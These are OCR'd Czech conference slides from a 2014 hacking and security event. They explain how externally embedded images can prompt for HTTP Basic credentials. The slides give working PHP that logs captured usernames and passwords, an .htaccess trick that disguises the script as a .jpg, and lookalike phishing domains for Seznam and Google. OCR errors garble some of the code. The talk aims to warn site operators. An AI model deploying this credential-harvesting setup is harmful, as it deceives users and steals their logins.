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Podékovani

za namet na tuto prednasku patri

Filipu Tomkovi

aka Fil-kun
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O co pujde

Pujde o krutoprisny exploit zneuzivajici

buffer overflow ?

NE

SOOM.cz Hacking & Security Konference 2014




ProcC to déelat slozité

ProC hledat a zneuzivat chyby, kdyz nam
stejnou moznost dava primo vestavena

vlastnost webovych prohlizecu ?

Navic multiplatformeé a napfric softwarem
- Webové prohlizece
- E-mailovy klienti
- ostatni software zobrazujici HTML
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Nebezpeci externich zdroju

V cem muze byt nebezpecné, pokud
uzivatelum na webu povolime vkladani
externich obrazku v jejich prispévcich?

 |dentifikace uzivatele (Referer, User-Agent, IP, ...)
e Zjisténi skutecnosti, zda byla zprava prectena
e Zneuziti pro CSRF utoky

Z tohoto dlvodu jsou externi obrazky defaultné zakazany v e-mailovém sw.
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Jesté neco?

Jde externich obrazku zneuzit take
k ziskani prihlasovacich udaju?

ANO

pomoci
HTTP Autentizace
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HTTP autentizace 1

HTTP Autentizaci lze implementovat

napriklad pouzitim .htaccess a .htpasswd

pokud budu chtit zabezpecit obsah
stranky.

Tim ale zadny tajny udaj neziskam :(
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HTTP autentizace 2

HTTP Autentizaci lze pouzit i jinak

header('WWW-Authenticate: Basic realm="Message"');

$ SERVER['PHP_AUTH_USER']
$ SERVER['PHP_AUTH_PW']
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Exploit

<?php
suser = $_SERVER['PHP_AUTH_USER'];
Spass = $_SERVER['PHP_AUTH_PW']

if (Suser == "" || Spass == "" || !isLoginValid(Suser, $pass)) {
Smessage = '"POKUD CHCETE ZOBRAZIT VSE, MUSITE SE PRIHLASIT"';
header ("WWW-Authenticate: basic realm=$message");
exit();

} else {

$file = file get contents('log.txt');

file put contents ("lIog.txt", "Suser : Spass \r\n $file");
header ('Content-Type: image/jpeg');

echo file get contents('image.]jpg');

?>
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Pouziti a vysledek

| v |

Pozadovana autentizace

9 Stranka http://www.utocnik.cz poZaduje uZivatelské jménc a heslo se sdélenim: ,POKUD CHCETE
ZOBRAZIT PRILOHU E-MAILU, MUSITE ZADAT PRIHLASOVACT UDAJE"

Uzivatelské jméno:
Heslo:

oK || Znait
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Vylepseni (typ souboru)

Obejiti ochrany umoznujici vkladat pouze .jpg
Podstrkavani

.htaccess

RewriteEngine on
RewriteRule image\.jpg image.php
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Vylepseni (nazev domény)
Lze podvrhnout nazev domény?

PozZadovana autentizace
9 Stra o/ fwww . utocnik.cz fozaduje uZivatelské jménc a heslo se sdélenim: ,POKUD CHCETE
i e MIUSITE ZADAT PRIHLASOVACI UDAJE"
Uzivatelske jméno:

Heslo:

| | Zrugit
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Vylepseni (nazev domény)

Nekteré domény se mohou hodit :)
Cz-seznam.cz
cz-volny.cz
com-google.com
cz-prilohy.email
com-inserted.pictures
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Vylepseni (nazev domény)

htt

Subdomeény jsou fajn :)
http://email.seznam.cz-seznam.cz
http://www.volny.cz-volny.cz
nttp://mail.google.com-google.com

nttp://mail.seznam.cz-prilohy.email

0://mail.google.com-inserted.pictures
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Pozadovana autentiza

Uzivatelské jméno:

Heslo:

Vysledek
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Uspésnost?
Nyni bych vam rad rekl, ze uspésnost tohoto

utoku je vice nez 70%, ale preci si nemyslite, ze
jsem to skutecné nekde zkousel...

©

SOOM.cz Hacking & Security Konference 2014




Zaver

Radéji si dobre rozmyslete, zda svym
uzivatelUm umoznite externi obrazky
pouzivat...
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